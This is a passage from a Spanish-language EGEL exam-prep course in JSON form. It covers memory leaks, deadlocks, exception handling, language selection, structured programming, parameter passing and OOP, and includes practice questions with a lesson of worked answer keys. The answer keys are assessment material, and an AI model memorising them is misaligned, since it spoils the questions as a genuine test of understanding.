int[1000000];`). Posteriormente, la función evalúa una condición; si la condición es verdadera, retorna inmediatamente un código de error sin invocar la instrucción `delete[] arr;`. Si esta función se invoca miles de veces por minuto en un servidor web, ¿cuál será la consecuencia sobre el sistema operativo?\n- A) Desbordamiento inmediato del búfer de pila (*Stack Overflow*).\n- B) Agotamiento progresivo de la memoria virtual del servidor por fuga de memoria (*Memory Leak*), provocando que el sistema operativo mate el proceso por falta de memoria RAM.\n- C) Un interbloqueo (*Deadlock*) debido a la retención y espera de los marcos de pila.\n- D) El recolector de basura de C++ liberará el arreglo automáticamente al detectar que la función retornó.\n\n### Reactivo Muestra 2\nEn un sistema financiero de alta concurrencia, el Hilo 1 ejecuta `cuentaA.transferir(cuentaB, 500)` adquiriendo primero el cerrojo de `cuentaA` y luego el de `cuentaB`. Simultáneamente, el Hilo 2 ejecuta `cuentaB.transferir(cuentaA, 200)` adquiriendo primero el cerrojo de `cuentaB` y luego el de `cuentaA`. Ambas transferencias se bloquean permanentemente. ¿Cuál es la técnica de diseño que previene este problema sin alterar la lógica de negocio?\n- A) Desactivar la exclusión mutua en las cuentas bancarias para permitir transferencias simultáneas sin cerrojos.\n- B) Establecer una regla de ordenamiento global consistente que obligue a ambos hilos a adquirir siempre los cerrojos en el mismo orden (por ejemplo, bloqueando primero la cuenta con el menor número de identificación).\n- C) Envolver ambas transferencias en un bloque `catch (Throwable t) {}` para ignorar el bloqueo.\n- D) Utilizar memoria en el Stack para almacenar los saldos de todas las cuentas del banco.\n\n*(Verifica tus respuestas y análisis detallado en la siguiente lección 3.1.7).*\n","title":"3.1.6 Repaso integral y síntesis: Subárea 3.1"},{"children":[],"contentMd":"# Soluciones Razonadas y Análisis de Distractores — Subárea 3.1\n\nEsta lección proporciona el desglose técnico y pedagógico de cada uno de los reactivos de evaluación de la **Subárea 3.1: Lenguajes de desarrollo**. Analiza con detenimiento el razonamiento de la opción correcta y los argumentos de descarte de los distractores para fortalecer tu preparación integral rumbo al EGEL.\n\n---\n\n## 1. Soluciones: Sintaxis, Semántica y Sistemas de Tipado (Lección 3.1.1)\n\n### Pregunta 1\n- **Enunciado:** La instrucción `float total = \"quinientos\";` arroja un error en tiempo de desarrollo impidiendo compilar el binario.\n- **Respuesta Correcta:** **B) Fase de análisis semántico; es un error semántico estático por incompatibilidad de tipos en un lenguaje de tipado estático.**\n- **Justificación Técnica:** La instrucción respeta la gramática formal del lenguaje (tipo, identificador, operador de asignación, literal de cadena y delimitador `;`), por lo que pasa el análisis léxico y sintáctico sin problemas. Sin embargo, en la fase de **análisis semántico**, el compilador verifica las reglas del sistema de tipos y detecta que una cadena de texto no puede asignarse a un tipo flotante de precisión simple sin una función de conversión válida. Al detectarse en compilación, es un error semántico estático.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El análisis léxico descompone el texto en tokens válidos; todos los tokens utilizados son palabras y caracteres válidos del lenguaje.\n  - *C es incorrecta:* La fase de optimización ocurre después del análisis semántico sobre código ya validado; no evalúa incompatibilidad de literales.\n  - *D es incorrecta:* La máquina virtual ejecuta código ya compilado; este error impidió la generación del binario.\n\n### Pregunta 2\n- **Enunciado:** Motor de procesamiento de audio en tiempo real con latencias menores a 2 milisegundos y bajo consumo en procesadores integrados.\n- **Respuesta Correcta:** **B) Lenguaje con tipado estático y compilación nativa directa a código máquina (AOT) sin recolector de basura automatizado que introduzca pausas impredecibles.**\n- **Justificación Técnica:** El procesamiento digital de señales de audio a baja latencia (\u003c 2 ms) exige determinismo temporal estricto. Un lenguaje con compilación nativa (como C, C++ o Rust) interactúa directamente con el hardware y la memoria sin la intermediación de una Máquina Virtual ni recolectores de basura cuyas pausas aleatorias interrumpirían el flujo continuo de audio provocando chasquidos (*buffer underruns*).\n- **Análisis de Distractores:**\n  - *A es incorrecta:* La interpretación introduce una penalización de velocidad de más de 20x, haciendo imposible procesar muestras de audio a 48 kHz en tiempo real.\n  - *C es incorrecta:* El recolector de basura introduce pausas impredecibles incompatibles con el límite de 2 milisegundos.\n  - *D es incorrecta:* El tipado débil incrementa errores y los motores de navegador web conllevan una sobrecarga de memoria inasumible en procesadores integrados.\n\n---\n\n## 2. Soluciones: Gestión de Memoria, Punteros y GC (Lección 3.1.2)\n\n### Pregunta 1\n- **Enunciado:** Servicio en C++ donde una función reserva memoria en el montículo pero retorna por error condicional sin ejecutar `delete[]`, acumulando 200 MB de RAM por hora.\n- **Respuesta Correcta:** **C) Fuga de memoria dinámica (*Memory Leak*).**\n- **Justificación Técnica:** Una fuga de memoria ocurre cuando se reserva memoria dinámica en el Heap (`new[]` / `malloc`) y el flujo del programa pierde la referencia o puntero hacia dicha memoria sin haberla liberado previamente. La memoria permanece ocupada por el proceso y el sistema operativo no puede reasignarla, provocando un crecimiento lineal del consumo de RAM hasta el agotamiento de recursos.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El desbordamiento de pila (*Stack Overflow*) ocurre por saturación del Stack (típicamente recursión descontrolada), no por acumulación de memoria en el Heap.\n  - *B es incorrecta:* La doble liberación ocurre cuando se ejecuta `delete` dos veces sobre el mismo puntero, lo que causa un crash inmediato, no una acumulación lenta de 200 MB/h.\n  - *D es incorrecta:* Desreferenciar un puntero nulo causa una señal de violación de segmento (*Segmentation Fault*) inmediata que aborta el programa en el acto.\n\n### Pregunta 2\n- **Enunciado:** Fundamento teórico por el cual la recolección menor (*Minor GC*) en la Generación Joven es significativamente más rápida que un *Full GC*.\n- **Respuesta Correcta:** **B) Porque la Hipótesis Débil de las Generaciones establece que la mayoría de los objetos mueren rápidamente, permitiendo al recolector copiar únicamente la pequeña fracción de objetos vivos del Edén a los espacios Survivor y descartar el resto en un solo paso eficiente.**\n- **Justificación Técnica:** Los estudios empíricos de memoria demuestran que más del 90% de los objetos en un sistema orientado a objetos son de vida efímera (variables locales de métodos, DTOs temporales). Por ende, el espacio Edén se limpia copiando únicamente el escaso 5% o 10% de objetos supervivientes hacia el espacio Survivor, reseteando el puntero del Edén instantáneamente sin tener que barrer exhaustivamente todo el montículo.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* La JVM moderna utiliza algoritmos de rastreo de alcanzabilidad por copiado en la Generación Joven, no conteo de referencias.\n  - *C es incorrecta:* Toda la Generación Joven reside en la memoria RAM principal, no en los registros de la CPU.\n  - *D es incorrecta:* En la Generación Joven se pueden asignar libremente cualquier tipo de colecciones y objetos.\n\n---\n\n## 3. Soluciones: Concurrencia, Paralelismo y Sincronización (Lección 3.1.3)\n\n### Pregunta 1\n- **Enunciado:** Hilo A retiene Cerrojo 1 y solicita Cerrojo 2; Hilo B retiene Cerrojo 2 y solicita Cerrojo 1. Ambos quedan suspendidos indefinidamente.\n- **Respuesta Correcta:** **B) Ocurrió la condición de Espera Circular; se previene forzando un orden jerárquico global y unificado para la adquisición de todos los cerrojos en el sistema.**\n- **Justificación Técnica:** El fenómeno descrito es un *Deadlock* clásico por espera circular (la cuarta condición de Coffman). La solución canónica y formal de ingeniería para prevenirlo consiste en imponer un **ordenamiento global total** sobre todos los cerrojos del sistema: si tanto el Hilo A como el Hilo B estuvieran obligados a adquirir primero el cerrojo con menor identificador (Cerrojo 1 antes que Cerrojo 2), el Hilo B jamás adquiriría el Cerrojo 2 primero, destruyendo la posibilidad de un ciclo cerrado.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* No es una condición de carrera; es un interbloqueo mutuo donde ningún hilo avanza.\n  - *C es incorrecta:* La no apropiación es otra condición de Coffman, pero cambiar la memoria al Stack no resuelve la adquisición cruzada de cerrojos.\n  - *D es incorrecta:* Read Uncommitted es un nivel de aislamiento de bases de datos relacionales, no una técnica de sincronización de hilos en memoria de aplicación.\n\n### Pregunta 2\n- **Enunciado:** Servidor de microservicios con 50,000 conexiones concurrentes I/O intensivas de larga duración con la mínima huella de memoria RAM posible.\n- **Respuesta Correcta:** **B) Utilizar corrutinas / hilos ligeros en espacio de usuario o un bucle de eventos no bloqueante (Event Loop) que multiplexe las conexiones sobre un grupo reducido de hilos de sistema operativo.**\n- **Justificación Técnica:** Un hilo nativo del sistema operativo reserva entre 1 MB y 2 MB de memoria solo para su pila (*stack*). Asignar un hilo nativo por conexión requeriría más de 50 a 100 GB de RAM. En contraste, las corrutinas (Go, Kotlin) o los hilos virtuales (Java) consumen solo unos pocos kilobytes (2 KB a 4 KB) y son planificados en espacio de usuario sobre un número pequeño de hilos de kernel, multiplexando la E/S no bloqueante eficientemente.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* 50,000 hilos nativos colapsarían el servidor por agotamiento masivo de memoria y costo excesivo de cambio de contexto en el kernel.\n  - *C es incorrecta:* Crear 50,000 procesos independientes multiplicaría el consumo de memoria y la sobrecarga del sistema operativo por órdenes de magnitud.\n  - *D es incorrecta:* Desactivar la sincronización en presencia de estado mutable compartido generaría corrupción masiva de memoria y fallos no reproducibles.\n\n---\n\n## 4. Soluciones: Manejo Robusto de Errores y Excepciones (Lección 3.1.4)\n\n### Pregunta 1\n- **Enunciado:** Módulo de transferencias con bloque `catch (Exception e) {}` vacío tras débito y crédito bancario.\n- **Respuesta Correcta:** **B) Presenta el antipatrón de \"Tragar la Excepción\" (*Swallowing Exceptions*); si el débito es exitoso pero la acreditación falla por caída de red, el error se oculta en silencio, el dinero desaparece de la cuenta origen y el sistema entra en una inconsistencia financiera indetectable.**\n- **Justificación Técnica:** Tragar excepciones (*Swallowing exceptions*) es considerado uno de los antipatrones más dañinos del software. Al capturar la excepción genérica y no hacer nada (ni loguear, ni reintentar, ni hacer rollback, ni propagar), el sistema continúa su ejecución como si nada hubiera fallado, dejando operaciones bancarias a la mitad y destruyendo la trazabilidad de auditoría.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Ocultar un fallo jamás es una práctica recomendada; compromete la consistencia de los datos y viola el principio de atomicidad.\n  - *C es incorrecta:* No se produce un desbordamiento de pila; el hilo simplemente continúa su ejecución con datos inconsistentes.\n  - *D es incorrecta:* Sintácticamente el código compila perfectamente; la falla es puramente semántica y arquitectónica de diseño.\n\n### Pregunta 2\n- **Enunciado:** Sustitución de excepciones por tipos `Result\u003cTransaccionExitosa, ErrorTransaccion\u003e` en biblioteca financiera de alto rendimiento.\n- **Respuesta Correcta:** **B) Evita el costoso impacto de rendimiento del desenrollado de pila (*Stack Unwinding*) y la captura de trazas de ejecución en la CPU, haciendo explícito y forzoso el manejo de ambos resultados en el contrato de la función.**\n- **Justificación Técnica:** El tipo `Result` convierte los errores de negocio en valores de retorno normales tipados. Esto elimina la necesidad de que la CPU detenga el flujo regular, capture el stack trace completo y desenrolle la pila (*Stack Unwinding*). Además, el sistema de tipos obliga formalmente al programador a manejar explícitamente tanto el caso exitoso como el caso de fallo mediante pattern matching o condicionales, mejorando la robustez sin sobrecarga.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Al contrario, refuerza la validación estricta de tipos e impide omitir el manejo de errores.\n  - *C es incorrecta:* El tipo de retorno de una función no modifica la configuración interna de generaciones del Garbage Collector.\n  - *D es incorrecta:* Un tipo de dato en memoria de aplicación no otorga aislamiento transaccional Serializable en una base de datos relacional.\n\n---\n\n## 5. Soluciones: Escenarios de Decisión de Lenguajes (Lección 3.1.5)\n\n### Pregunta 1\n- **Enunciado:** Plataforma central de liquidaciones bancarias con 80 módulos y 60 desarrolladores. Requerimiento prioritario: mantenibilidad a largo plazo, prevención de errores de tipo en compilación y soporte transaccional ACID maduro.\n- **Respuesta Correcta:** **B) Lenguaje con tipado estático fuerte y ejecución sobre Máquina Virtual empresarial madura (como Java o C#), respaldado por compiladores que refuercen contratos e interfaces rigurosas.**\n- **Justificación Técnica:** Para sistemas bancarios empresariales a gran escala mantenidos por decenas de desarrolladores, el tipado estático fuerte garantiza que cualquier cambio o refactorización sea validado rigurosamente por el compilador, eliminando errores de tipo antes del despliegue. Además, los ecosistemas de la JVM y .NET poseen el mayor catálogo de bibliotecas empresariales consolidadas para manejo de transacciones distribuidas, persistencia y seguridad corporativa.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* En equipos grandes, el tipado dinámico incrementa exponencialmente el riesgo de errores de tipo en tiempo de ejecución y dificulta enormemente la refactorización segura.\n  - *C es incorrecta:* Ensamblador y C elevan los costos de desarrollo de forma astronómica y carecen de abstracciones empresariales para transacciones y persistencia.\n  - *D es incorrecta:* Shell Script es una herramienta de administración de sistemas, totalmente inadecuada para la lógica central de un core bancario transaccional.\n\n### Pregunta 2\n- **Enunciado:** Dron autónomo de rescate con navegación inercial que exige actualización a 500 Hz (2 milisegundos sin variabilidad temporal) con batería y RAM severamente restringidas.\n- **Respuesta Correcta:** **B) Lenguaje de compilación nativa a código máquina con gestión de memoria determinista sin recolector de basura (como C o Rust).**\n- **Justificación Técnica:** Los sistemas de control físico en robótica aeroespacial son sistemas de **tiempo real estricto (Hard Real-Time)**. Una fluctuación o pausa de 10 milisegundos por recolección de basura desestabiliza los motores provocando la caída del dron. La compilación nativa directa (AOT) en C o Rust garantiza tiempos de ciclo de reloj constantes en microsegundos y control absoluto de los recursos de hardware con consumo energético mínimo.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Node.js y su Event Loop sufren de sobrecarga de memoria y fluctuaciones de latencia incompatibles con frecuencias de 500 Hz en microcontroladores de vuelo.\n  - *C es incorrecta:* Las pausas del Garbage Collector de la JVM violan la restricción de 2 milisegundos y la máquina virtual no cabe en el hardware limitado del dron.\n  - *D es incorrecta:* PHP sobre Apache es una pila web de alta latencia, totalmente inútil para la estabilización física de rotores de un dron.\n\n---\n\n## 6. Soluciones: Mini-Simulador de Diagnóstico (Lección 3.1.6)\n\n### Reactivo Muestra 1\n- **Enunciado:** Arreglo dinámico en C++ de 1 millón de enteros reservado en el montículo que se pierde en una salida condicional sin ejecutar `delete[] arr;`, invocado miles de veces.\n- **Respuesta Correcta:** **B) Agotamiento progresivo de la memoria virtual del servidor por fuga de memoria (*Memory Leak*), provocando que el sistema operativo mate el proceso por falta de memoria RAM.**\n- **Justificación Técnica:** C++ no posee recolector de basura automático. Cada llamada a la función que retorne por la condición de error deja 4 MB de memoria RAM huérfana en el Heap ($1,000,000 \\times 4\\text{ bytes} \\approx 4\\text{ MB}$). A miles de ejecuciones por minuto, la aplicación consumirá gigabytes de memoria en poco tiempo hasta que el sistema operativo agote la memoria de intercambio (*swap*) y active el mecanismo *OOM Killer* para terminar el proceso.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El arreglo se reservó con `new` en el Heap; no reside en el Stack, por lo que no puede provocar un desbordamiento de pila.\n  - *C es incorrecta:* No hay hilos compitiendo por cerrojos; es un problema de gestión de memoria dinámica, no de sincronización concurrente.\n  - *D es incorrecta:* C++ estándar no cuenta con recolector de basura; la memoria no liberada explícitamente se fuga.\n\n### Reactivo Muestra 2\n- **Enunciado:** Transferencias bancarias cruzadas entre Cuenta A y Cuenta B donde cada hilo adquiere cerrojos en orden inverso provocando bloqueo permanente.\n- **Respuesta Correcta:** **B) Establecer una regla de ordenamiento global consistente que obligue a ambos hilos a adquirir siempre los cerrojos en el mismo orden (por ejemplo, bloqueando primero la cuenta con el menor número de identificación).**\n- **Justificación Técnica:** Para erradicar la condición de *Espera Circular* de Coffman en problemas de transferencia de recursos, la solución universal es definir una relación de orden estricta. Si se determina que siempre se bloquea primero la cuenta con menor ID (`c1.id \u003c c2.id`), ambos hilos intentarán bloquear primero la misma cuenta; uno obtendrá el cerrojo y el otro esperará ordenadamente sin generar un ciclo de retención mutua.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Desactivar la exclusión mutua provocaría condiciones de carrera destructivas con saldos corrompidos y transferencias duplicadas.\n  - *C es incorrecta:* Los interbloqueos congelan los hilos; no lanzan excepciones que puedan ser capturadas por bloques `try-catch`.\n  - *D es incorrecta:* El Stack es local e intransferible a cada hilo; no puede albergar información persistente compartida entre múltiples transacciones concurrentes.\n","title":"3.1.7 Soluciones razonadas y análisis de distractores: Subárea 3.1"}],"contentMd":"","title":"3.1 Lenguajes de desarrollo"},{"children":[{"children":[],"contentMd":"# Programación Estructurada e Imperativa: Fundamentos, Mecánica y Ámbitos\n\nEl paradigma estructurado e imperativo constituye la base conceptual sobre la cual se erigen los demás paradigmas de programación modernos. En el examen EGEL de Ingeniería de Software, la Subárea 3.2 (**Paradigmas de programación - 20 reactivos**) evalúa el dominio del control de flujo, el Teorema de Böhm-Jacopini, la mecánica del paso de parámetros (por valor vs por referencia), el ciclo de vida y alcance (*scope*) de las variables, y la modularización procedural frente al modelado de objetos.\n\n---\n\n## 1. El Paradigma Imperativo y el Teorema de Böhm-Jacopini\n\nEl **paradigma imperativo** concibe un programa de computadora como una secuencia lineal de instrucciones que modifican de forma explícita el **estado mutable** de la máquina:\n\u003e *\"El programador le dice a la máquina exactamente CÓMO debe realizar cada cálculo paso a paso.\"*\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                     ESTRUCTURAS FUNDAMENTALES                         │\n│                                                                        │\n│   [SECUENCIA]              [SELECCIÓN]               [ITERACIÓN]       │\n│        │                        │                         │            │\n│        ▼                        ▼                         ▼            │\n│   ┌─────────┐               ╱       ╲                 ┌───────┐        │\n│   │ Paso A  │             ◇  ¿Cond?  ◇ ──No─┐         │ Acción│        │\n│   └─────────┘               ╲       ╱       │         └───────┘        │\n│        │                       │ Sí         │             │            │\n│        ▼                       ▼            ▼             ▼            │\n│   ┌─────────┐             ┌─────────┐  ┌─────────┐    ╱       ╲        │\n│   │ Paso B  │             │ Rama Sí │  │ Rama No │  ◇  ¿Cond?  ◇ ──Sí──┘\n│   └─────────┘             └─────────┘  └─────────┘    ╲       ╱        │\n│                                                           │ No         │\n│                                                           ▼            │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### El Teorema de Böhm-Jacopini (1966)\nCorrado Böhm y Giuseppe Jacopini demostraron matemáticamente que **cualquier algoritmo computable** puede representarse combinando exclusivamente tres estructuras lógicas de control:\n1. **Secuencia:** Ejecución ordenada de una instrucción tras otra.\n2. **Selección (Bifurcación condicional):** `if-then-else` o estructuras multivaluadas equivalentes (`switch-case`).\n3. **Iteración (Bucle / Ciclo):** Repetición de instrucciones mientras se cumpla una condición (`while`, `for`, `do-while`).\n\n### Consecuencia Histórica: La Muerte del `GOTO`\nEdsger Dijkstra publicó en 1968 su célebre carta *\"Go To Statement Considered Harmful\"*, argumentando que el uso de saltos incondicionales (`goto`) creaba **código espagueti**, destruyendo la correspondencia entre la estructura textual del código fuente y el flujo temporal real de ejecución en la CPU, haciendo imposible la verificación formal y el testing de software. La programación estructurada erradicó el salto incondicional en favor de bloques jerárquicos delimitados con un único punto de entrada y un único punto de salida.\n\n---\n\n## 2. Paso de Parámetros: Paso por Valor vs Paso por Referencia\n\nComprender la diferencia exacta entre cómo se transmiten los argumentos a las funciones es uno de los temas con mayor tasa de error en las preguntas de código del EGEL:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                  MECÁNICA DE PASO DE PARÁMETROS                        │\n│                                                                        │\n│   A. PASO POR VALOR (Pass by Value):                                   │\n│      La función recibe una COPIA idéntica del dato original.          │\n│      Modificar la variable dentro de la función NO afecta a la         │\n│      variable original en el ámbito llamador.                          │\n│                                                                        │\n│   B. PASO POR REFERENCIA (Pass by Reference):                          │\n│      La función recibe un ALIAS directo a la dirección de memoria      │\n│      original. Reasignar o modificar el dato en la función modifica    │\n│      inmediatamente la variable original en el ámbito llamador.        │\n│                                                                        │\n│   C. PASO POR VALOR DE REFERENCIA (Java, C#, Python, JavaScript):      │\n│      ¡El lenguaje SIEMPRE pasa por valor! Lo que se copia es el valor  │\n│      del puntero/referencia. Mutar el objeto modifica el contenido,    │\n│      pero reasignar la variable local no altera el objeto original.    │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Tabla Comparativa de Comportamiento\n\n| Mecanismo | ¿Qué se copia en la Pila (*Stack*)? | Si modifico las propiedades internas... | Si reasigno el parámetro completo (`x = nuevo`)... | Lenguajes Representativos |\n| :--- | :--- | :--- | :--- | :--- |\n| **Paso por Valor Puro** | Se copia el valor completo del dato (los bytes crudos). | No afecta a la variable original. | No afecta a la variable original. | Tipos primitivos en C, C++, C#, Java, Go. |\n| **Paso por Referencia Verdadero** | No se copia nada; se comparte el identificador de la celda de memoria original. | Modifica la variable original en el llamador. | **Reasigna la variable original en el llamador.** | C++ (con operador `\u0026`), C# (con palabras clave `ref` o `out`). |\n| **Paso de Referencia por Valor** | Se copia el valor de la **referencia** (la dirección abstracta que apunta al Heap). | **Modifica los campos del objeto en el Heap** (porque ambos punteros apuntan al mismo objeto). | **NO reasigna la variable del llamador.** Solo redirige la copia local del puntero en la pila. | Java, C# (sin `ref`), Python, JavaScript, Dart. |\n\n---\n\n## 3. Demostración en Código: El Experimento de Reasignación en Java/C#\n\nAnalicemos la trampa favorita de los diseñadores de reactivos de CENEVAL:\n\n```java\npublic class PruebaPaso {\n    public static void alterar(Persona p) {\n        // Operación 1: Mutar estado interno del objeto compartido\n        p.setNombre(\"Carlos\"); \n        \n        // Operación 2: Reasignar la referencia local a un nuevo objeto\n        p = new Persona(\"Roberto\");\n        p.setNombre(\"Daniel\");\n    }\n\n    public static void main(String[] args) {\n        Persona original = new Persona(\"Ana\");\n        alterar(original);\n        System.out.println(original.getNombre()); // ¿Qué imprime en pantalla?\n    }\n}\n```\n\n### Explicación del Resultado: Imprime `\"Carlos\"`\n1. En `main`, `original` apunta al Objeto 1 en el Heap (`nombre = \"Ana\"`).\n2. Al invocar `alterar(original)`, se crea una **copia del valor de la referencia** en el marco de pila de `alterar`. Ambos punteros (`original` y `p`) apuntan al mismo Objeto 1 en el Heap.\n3. `p.setNombre(\"Carlos\")` navega por el puntero y muta el Objeto 1. Ahora `nombre` es `\"Carlos\"`.\n4. `p = new Persona(\"Roberto\")` crea un Objeto 2 en el Heap y asigna su dirección a la variable local `p` en la pila. La variable `original` en `main` sigue apuntando imperturbable al Objeto 1.\n5. Al retornar la función, el marco de pila de `alterar` se destruye. En `main`, `original.getNombre()` consulta el Objeto 1, devolviendo `\"Carlos\"`. **No devuelve \"Daniel\" ni \"Ana\".**\n\n---\n\n## 4. Ámbitos de Variables (Scopes) y Ciclo de Vida\n\nEl **ámbito (scope)** define la región del código fuente donde un identificador (variable, función, constante) es visible y accesible:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        JERARQUÍA DE ÁMBITOS                            │\n│                                                                        │\n│   Ámbito Global:   Visible en todo el programa durante toda la vida    │\n│                    del proceso (reside en .data / .bss).               │\n│                                                                        │\n│   Ámbito de Módulo / Archivo: Visible solo dentro del archivo fuente. │\n│                                                                        │\n│   Ámbito de Función: Visible dentro del cuerpo de la función;          │\n│                      reside en el Stack frame. Se destruye al retornar.│\n│                                                                        │\n│   Ámbito de Bloque: Visible dentro de llaves { ... } (ej. cuerpo de un │\n│                     if o for). Destrucción inmediata al cerrar llave.  │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Sombreado de Variables (Variable Shadowing)\nOcurre cuando una variable declarada en un ámbito interno (por ejemplo, dentro de un bloque `if` o bucle) tiene el **mismo nombre** que una variable en un ámbito externo:\n```c\nint x = 100; // Ámbito global o de función\n\nvoid procesar() {\n    int x = 20; // Sombra la variable externa x\n    if (x \u003e 10) {\n        int x = 5; // Sombra la variable x del bloque anterior\n        printf(\"%d\\n\", x); // Imprime 5\n    }\n    printf(\"%d\\n\", x); // Imprime 20\n}\n```\n*Riesgo en software:* Dificulta la lectura del código, oculta errores lógicos de cálculo y reduce la mantenibilidad.\n\n---\n\n## 5. Modularización Procedimental vs Orientada a Objetos\n\n| Dimensión | Programación Procedural / Estructurada | Programación Orientada a Objetos (POO) |\n| :--- | :--- | :--- |\n| **Unidad Básica de Abstracción** | **Procedimiento / Función:** La lógica está separada de los datos (funciones que operan sobre registros `struct`). | **Clase / Objeto:** Los datos (atributos de estado) y las operaciones (métodos de comportamiento) están íntimamente encapsulados en una sola unidad cohesiva. |\n| **Flujo de Control** | Secuencial dirigido por llamadas a funciones anidadas. | Conducido por mensajes entre objetos polimórficos interactuantes. |\n| **Manejo del Estado** | Las estructuras de datos suelen pasarse abiertas entre múltiples procedimientos; alto riesgo de mutación no autorizada o inconsistencias. | El estado interno se protege con modificadores de acceso (`private`); los objetos gestionan sus propias invariantes. |\n| **Mecanismo de Reutilización** | Bibliotecas de funciones estáticas (`math.h`, módulos de utilidades). | Composición de objetos y herencia polimórfica controlada. |\n\n---\n\n## 6. Escenarios de Decisión Profesional\n\n### Escenario A: Algoritmos de Compresión de Datos y Criptografía Matemática\n- **Requerimiento:** Implementar el algoritmo de cifrado AES-256 o compresión LZ4, que consiste en operaciones de bajo nivel (desplazamientos de bits, matrices XOR de permutación y bucles cerrados sobre arreglos contiguos de bytes).\n- **Decisión de paradigma:** **Paradigma Estructurado / Procedural puro**.\n- **Fundamentación:** Crear jerarquías de clases, interfaces y objetos para cada operación de byte añadiría una sobrecarga masiva de memoria y desreferenciación en el Heap. La programación imperativa estructurada contigua con arreglos y funciones directas maximiza el rendimiento y la localidad espacial en la memoria caché del procesador.\n\n### Escenario B: Sistema de Facturación Comercial con 30 Tipos de Comprobantes Fiscales\n- **Requerimiento:** Modelar la emisión de facturas, notas de crédito, recibos de honorarios y adendas comerciales, donde cada tipo tiene reglas de validación propias pero comparte datos fiscales comunes.\n- **Decisión de paradigma:** **Programación Orientada a Objetos**.\n- **Fundamentación:** Abordar esto de forma puramente procedural obligaría a tener funciones gigantescas con estructuras `switch-case` interminables (*código procedural espagueti*). La POO permite encapsular el estado y aplicar polimorfismo (`Factura`, `NotaCredito` implementando `IComprobanteFiscal`), aislando el impacto de cambios fiscales normativos en clases independientes.\n\n---\n\n## 7. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Creer que Java pasa objetos \"por referencia\".**\n\u003e Java **nunca pasa por referencia**. Java pasa absolutamente todo **por valor**. En el caso de los objetos, el valor que se copia y se pasa es la referencia en la pila. Esto explica por qué mutar un campo interno afecta al objeto original, pero reasignar la variable dentro del método no tiene ningún efecto fuera de él.\n\n\u003e **Trampa 2: Afirmar que el Teorema de Böhm-Jacopini requiere el uso de recursión.**\n\u003e El teorema de Böhm-Jacopini demuestra que solo se necesitan tres estructuras: **secuencia, selección e iteración (bucles)**. La recursión es un mecanismo alternativo propio de la programación funcional, pero no forma parte de la formulación estructurada básica de Böhm-Jacopini.\n\n\u003e **Trampa 3: Confundir Ámbito de Bloque con Ámbito de Función en lenguajes antiguos.**\n\u003e En C moderno, Java o C#, una variable declarada dentro de un bucle `for` nace y muere en ese bloque. En versiones históricas de JavaScript con la palabra clave `var`, las variables sufrían de elevación (*hoisting*) y tenían ámbito de función completo, introduciendo bugs sutiles. En código moderno, `let` y `const` garantizan el ámbito de bloque estructurado.\n\n---\n\n## 8. Autoevaluación Formativa\n\n### Pregunta 1\nConsidere el siguiente fragmento de código ejecutado en un lenguaje orientado a objetos con modelo de memoria estándar (como Java o C#):\n```java\npublic void procesar() {\n    int numero = 10;\n    StringBuilder texto = new StringBuilder(\"Hola\");\n    modificar(numero, texto);\n    System.out.println(numero + \" \" + texto);\n}\n\npublic void modificar(int n, StringBuilder s) {\n    n = n + 50;\n    s.append(\" Mundo\");\n    s = new StringBuilder(\"Reiniciado\");\n}\n```\n¿Cuál es la salida exacta impresa en la consola tras invocar el método `procesar()`?\n- A) `10 Hola Mundo`\n- B) `60 Hola Mundo`\n- C) `10 Reiniciado`\n- D) `60 Reiniciado`\n\n### Pregunta 2\nUn desarrollador novato argumenta que para resolver un problema de navegación y control de menús en un sistema embebido, el uso de sentencias de salto incondicional `goto` es indispensable para saltar entre diferentes secciones de código cuando ocurre un error. ¿Qué teorema formal de la teoría de la computación refuta esta afirmación demostrando que cualquier algoritmo estructurado puede resolverse sin saltos incondicionales?\n- A) Teorema de CAP.\n- B) Teorema de Böhm-Jacopini.\n- C) Teorema de Church-Turing.\n- D) Principio de Inversión de Dependencias.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.2.7 de esta subárea).*\n","title":"3.2.1 Programación estructurada e imperativa: Fundamentos, mecánica y ámbitos"},{"children":[],"contentMd":"# Pilares Avanzados de la Programación Orientada a Objetos: Mecánica Interna y Diseño\n\nLa Programación Orientada a Objetos (POO) domina el desarrollo de sistemas empresariales a gran escala. Más allá de las definiciones superficiales de \"clases y objetos\", el examen EGEL de Ingeniería de Software evalúa la comprensión profunda de los cuatro pilares fundamentales (Abstracción, Encapsulamiento, Herencia y Polimorfismo), la mecánica de despacho dinámico mediante tablas virtuales (**vtable**), el problema de la herencia múltiple (el Problema del Diamante) y el principio arquitectónico de **Composición sobre Herencia**.\n\n---\n\n## 1. Los Cuatro Pilares Fundamentales de la POO\n\n```\n                                  PILARES DE LA POO\n                                         │\n     ┌──────────────────┬────────────────┴────────────────┬──────────────────┐\n     ▼                  ▼                                 ▼                  ▼\n  ABSTRACCIÓN     ENCAPSULAMIENTO                      HERENCIA         POLIMORFISMO\n• Contratos puros • Ocultamiento de información       • Especialización • Sobrecarga (Estático)\n• Interfaces vs   • Invariantes de negocio            • Clase base vs   • Sobrescritura (Dinámico)\n  Clases Abstr.   • Modificadores (private/protect)     Derivada        • Despacho vtable\n```\n\n### A. Abstracción\n- **Definición:** Proceso cognitivo de aislar las características y comportamientos esenciales de una entidad del dominio, suprimiendo los detalles accesorios y de implementación irrelevantes para el consumidor.\n- **Implementación:** Se materializa mediante **Clases Abstractas** e **Interfaces**, que definen *qué* hace un componente sin revelar *cómo* lo hace internamente.\n\n### B. Encapsulamiento y Ocultamiento de Información\n- **Definición:** Empaquetar el estado interno (atributos) y los métodos que operan sobre dicho estado en una unidad indivisible, restringiendo el acceso directo desde el 